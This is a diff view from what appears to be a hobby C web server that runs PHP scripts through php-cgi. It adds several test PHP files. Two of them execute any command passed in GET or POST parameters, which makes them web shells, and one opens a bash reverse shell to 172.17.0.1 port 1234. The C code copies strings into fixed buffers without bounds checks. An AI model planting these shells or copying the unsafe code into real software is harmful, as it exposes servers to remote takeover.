||||
|
||||
buf = malloc(bufLen);
|
||||
memset(buf, 0, bufLen);
|
||||
pipe(phpPipe);
|
||||
|
||||
pid_t pid;
|
||||
int status = 0;
|
||||
pid = fork();
|
||||
|
||||
if (pid == 0) { // Child fork
|
||||
char script[500];
|
||||
char *queryString = NULL;
|
||||
close(phpPipe[0]);
|
||||
dup2(phpPipe[1], STDOUT_FILENO);
|
||||
strcpy(script, "SCRIPT_FILENAME=");
|
||||
strcat(script, WEB_ROOT_DIR);
|
||||
strcat(script, sPath);
|
||||
putenv("GATEWAY_INTERFACE=CGI/1.1");
|
||||
putenv(script);
|
||||
putenv("REDIRECT_STATUS=true");
|
||||
putenv("SERVER_PROTOCOL=HTTP/1.1");
|
||||
putenv("REMOTE_HOST=127.0.0.1");
|
||||
if (!strcmp(r->requestType, "POST")) {
|
||||
putenv("REQUEST_METHOD=POST");
|
||||
char conLenString[256];
|
||||
sprintf(conLenString, "CONTENT_LENGTH=%zu", r->requestBodyLen);
|
||||
putenv(conLenString);
|
||||
putenv("CONTENT_TYPE=application/x-www-form-urlencoded");
|
||||
queryString = malloc(r->requestBodyLen + 24);
|
||||
if (r->requestBodyLen != 0) {
|
||||
sprintf(queryString, "QUERY_STRING=%s", r->requestBody);
|
||||
} else {
|
||||
sprintf(queryString, "QUERY_STRING=");
|
||||
}
|
||||
putenv(queryString);
|
||||
|
||||
// Starting fork to pipe stdin into php-cgi
|
||||
int phpPipe2[2];
|
||||
pipe(phpPipe2);
|
||||
pid_t pid2;
|
||||
pid2 = fork();
|
||||
|
||||
if (pid2 == 0) { // Child fork
|
||||
close(phpPipe2[0]);
|
||||
dup2(phpPipe2[1], STDOUT_FILENO);
|
||||
printf("%s", r->requestBody);
|
||||
close(phpPipe2[1]);
|
||||
exit(EXIT_SUCCESS);
|
||||
} else if (pid < 0) { // Error forking
|
||||
printDebug("Error in stdin php frok");
|
||||
} else { // Parent fork
|
||||
close(phpPipe2[1]);
|
||||
dup2(phpPipe2[0], STDIN_FILENO);
|
||||
execl("/usr/bin/php-cgi", "php-cgi", NULL);
|
||||
}
|
||||
} else {
|
||||
putenv("REQUEST_METHOD=GET");
|
||||
if (r->requestVars != NULL) {
|
||||
queryString = malloc(strlen(r->requestVars) + 24);
|
||||
sprintf(queryString, "QUERY_STRING=%s", r->requestVars);
|
||||
} else {
|
||||
queryString = malloc(24);
|
||||
sprintf(queryString, "QUERY_STRING=");
|
||||
}
|
||||
putenv(queryString);
|
||||
execl("/usr/bin/php-cgi", "php-cgi", NULL);
|
||||
}
|
||||
exit(EXIT_SUCCESS);
|
||||
} else if (pid < 0) { // Error forking
|
||||
printDebug("Error forking php exec");
|
||||
} else { // Parent fork
|
||||
size_t buffCount;
|
||||
close(phpPipe[1]);
|
||||
do {
|
||||
waitpid(pid, &status, WUNTRACED);
|
||||
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
|
||||
do {
|
||||
buffCount = read(phpPipe[0], buf, BUFF_READ);
|
||||
if (strlen(buf) == bufLen) {
|
||||
bufLen *= 2;
|
||||
buf = realloc(buf, bufLen);
|
||||
}
|
||||
} while (buffCount == 0);
|
||||
}
|
||||
|
||||
close(phpPipe[0]);
|
||||
if (status != 0) {
|
||||
return NULL;
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
|
||||
7
test_requests/cmd.php
Normal file
7
test_requests/cmd.php
Normal file
@@ -0,0 +1,7 @@
|
||||
<?php
|
||||
$output=null;
|
||||
$retval=null;
|
||||
exec('whoami', $output, $retval);
|
||||
print_r($output);
|
||||
?>
|
||||
|
||||
7
test_requests/cmdGET.php
Normal file
7
test_requests/cmdGET.php
Normal file
@@ -0,0 +1,7 @@
|
||||
<?php
|
||||
$output=null;
|
||||
$retval=null;
|
||||
exec($_GET['cmd'], $output, $retval);
|
||||
print_r($output);
|
||||
?>
|
||||
|
||||
7
test_requests/cmdPOST.php
Normal file
7
test_requests/cmdPOST.php
Normal file
@@ -0,0 +1,7 @@
|
||||
<?php
|
||||
$output=null;
|
||||
$retval=null;
|
||||
exec($_POST['cmd'], $output, $retval);
|
||||
print_r($output);
|
||||
?>
|
||||
|
||||
10
test_requests/post_no_content_len.raw
Normal file
10
test_requests/post_no_content_len.raw
Normal file
@@ -0,0 +1,10 @@
|
||||
POST / HTTP/1.1
|
||||
Host: localhost:8080
|
||||
User-Agent: curl/7.81.0
|
||||
Accept: */*
|
||||
Referer: rbose
|
||||
Content-Length: 40
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
name=linuxize&email=linuxize@example.com
|
||||
|
||||
3
test_requests/rcmd.php
Normal file
3
test_requests/rcmd.php
Normal file
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
exec("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'");
|
||||
?>
|
||||
Reference in New Issue
Block a user